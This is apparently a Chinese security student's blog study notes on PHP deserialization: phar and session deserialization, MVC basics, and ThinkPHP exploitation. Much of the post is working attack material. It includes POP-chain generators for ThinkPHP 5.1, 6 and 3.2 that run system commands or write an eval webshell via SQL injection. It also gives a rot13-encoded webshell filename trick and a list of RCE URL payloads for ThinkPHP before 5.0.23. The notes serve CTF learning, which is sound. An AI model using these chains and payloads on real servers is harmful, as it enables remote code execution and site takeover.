🎼个人主页:金灰
😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨
专注网络空间安全服务,期待与您的交流分享~
感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️
🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅作分享。。。
目录
phar反序列化
phar协议
总结:
哪里使用的多?
条件:
session反序列化
总结:
php默认处理器
php_serialize序列化处理器方式
php框架
形象举例:
MVC在web中的应用:
特点:
tp手册:
tp反序列化链 (pop链):
tp5.1反序列化链
tp6 反序列化链
TP3.2反序列化exp
tp5.0.23之前RCE
phar反序列化
phar
The phar extension provides a way to put entire PHP applications into a single file called a "phar" (PHP Archive) for easy distribution and installation
Phar认为是--java的jar包
calc.exe
phar能干什么?
多个php合并为独立压缩包
不解压就能执行里面的php文件
支持web服务器和命令行
(在php.ini 配置里phar 一定要改成Off)
phar协议
phar://xxx.phar/aaa.php
phar://xxx.phar/aaa.txt
$phar->setmetadata($h);
metaData可以存放一个类实例,生成phar后,会将这个类实例已序列化字符串形式存放至Phar文件内
当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串
总结:
1 生成phar包时,可以往metaData里面放对象
2 生成后,对象会自动序列化保存到phar包中
3 使用phar协议读取phar包时,如果当前脚本识别了这个类,会自动调用这个类的魔术方法
哪里使用的多?
如果有上传点,上传文件的前半部分可控,后缀黑名单,不能是危险的后缀 php phps phtml ini .但没有禁止上传phar文件.
能够上传phar文件,找到大量使用的file_exits等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包.
就能自动进行反序列化.
条件:
1 能够生成phar包并上传写入
2 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
3 有可以利用的恶意类
//参数是string型的文件都行
//参数是string型的文件都行
//参数是string型的文件都行
include "phar://ctf.phar";
file_exists("phar://");
file_get_contents("");
file_put_contents("");
require "";
fileinode("");
filemtime("");
filesize("");
is_dir("");
scandir("");
highlight_file("");
.user.ini auto_append_file=phar://ctf.phar
session反序列化
PHP_SESSION_UPLOAD_PROGRESS
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID
session 是可以放字符串,数字,也可以放对象
总结:
1 session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2 session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法
php默认处理器
//u|O:4:"user":2:{s:8:"username";N;s:8:"password";N;} 属于php处理器
u|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}
|左边是session的key,右边是要反序列化的东西.
<?php
session_start();
class user{
public $username;
public $password;
}
$u = new user();
$_SESSION['u'] = $u;
// 存放对象-->字符串
php_serialize序列化处理器方式
a:1:{s:1:"u";O:4:"user":2:{s:8:"username";N;s:8:"password";N;}}
array('u'=>$u);
<?php
session_start();
class user{
public $username;
public $password;
public function __destruct()
{
// TODO: Implement __destruct() method.
system("calc");
}
}
var_dump($_SESSION['u']); //拿到session传入的
//浏览器里面传cookie
// 拿到对象-->进行反序列化
a:1:{s:1:"u";O:4:"user":2:{s:8:"username";s:56:"adminu|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}";s:8:"password";s:6:"123456";}}
php先拿到|左边的为session的key,右边为要反序列化的内容(}结束)
当要对user类尝试反序列化时,会调用里面的实例,--销毁后被调用,--里面有恶意代码,就能被执行.
php框架
php的开发框架
框架是为开发服务,而不是面向产品
php框架的设计思路
MVC结构的设计框架
python java 都有基于MVC设计思路提供的框架
MVC设计思路->基于MVC的框架->基于框架的产品
M model 模型
V view 视图
C controller 控制器
形象举例:
菜鸟包裹 -> 前台负责分发任务 -> 取件
-> 送件
快递员只负责接收、发送包裹 ,其他一律不管 可以认为他就是view 显示层
包裹前台 认为是控制器,负责派件和收件的人员安排
包裹就是 model
控制器 controller 只负责分发请求
模型 model 只负责处理数据交互 数据输入,经过处理,返回处理后的数据 不在乎 数据哪里来的,也不在乎数据去哪里
视图 view 负责向控制器 发送数据,经过控制器 派发处理后,将数据回显在页面中
每个层 都独立起来了
MVC在web中的应用:
1 所有请求都统一入口 index.php
2 通过不同的参数,表达不同的需求,由index.php作为控制器 统一进行分发处理
3 分发给模型Model处理完毕后,结果返回给Index控制器
4 Index控制器得到结果,返回给页面
特点:
1 从基于文件的url转为 基于路由的url 从关注访问哪个文件,转向关注访问url中的参数 ?a=b&c=d(不关注文件了,而是关注参数的值为什么)
2 使用统一的view视图,返回的数据,就是要显示的数据
3 控制器和视图和用户由关联,模型相对于用户透明
tp手册:
序言 · ThinkPHP5.1完全开发手册 · 看云
首页为public目录
application目录里面都是前端内容
?s=/模块/控制器/方法
?s=/idnex/index/ctf
tp反序列化链 (pop链):
tp5.1 版本
Windows 类 __destruct -> removeFiles -> __tostring -> tojson ->toArray
->getAttr -> block ->writeln ->write ->write ->set ->setTagItem ->set
这个东西要在Linux上,windows特殊字符不行-------
文件名为:<?cuc riny($_cbfg[1]);?>tag_+32位md5
php://filter/write=string.rot13/reosource=./<?cuc riny($_cbfg[1]);?>tag_+32位md5
文件内容:
php://filter/write=string.rot13/reosource=./<?cuc riny($_cbfg[1]);?>
tp5.1反序列化链
<?php
namespace think\model {
use think\Model;
class Pivot extends Model {
}
}
namespace think {
abstract class Model {
private $lazySave = false;
private $data = [];
protected $withEvent = true;
private $exists = false;
private $force = false;
protected $table;
private $withAttr = [];
public function __construct($obj = '') {
$this->lazySave = true;
$this->data = array('yq1ng'=>'cat /f*');
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->withAttr = array('yq1ng'=>'system');
}
}
}
namespace {
use think\model\Pivot;
echo urlencode(serialize(new Pivot(new Pivot())));
}
tp6 反序列化链
<?php
namespace think\model {
use think\Model;
class Pivot extends Model {
}
}
namespace think {
abstract class Model {
private $lazySave = false;
private $data = [];
protected $withEvent = true;
private $exists = false;
private $force = false;
protected $table;
private $withAttr = [];
public function __construct($obj = '') {
$this->lazySave = true;
$this->data = array('yq1ng'=>'cat /f*');
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->withAttr = array('yq1ng'=>'system');
}
}
}
namespace {
use think\model\Pivot;
echo urlencode(serialize(new Pivot(new Pivot())));
}
TP3.2反序列化exp
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctf', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}
tp5.0.23之前RCE
?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id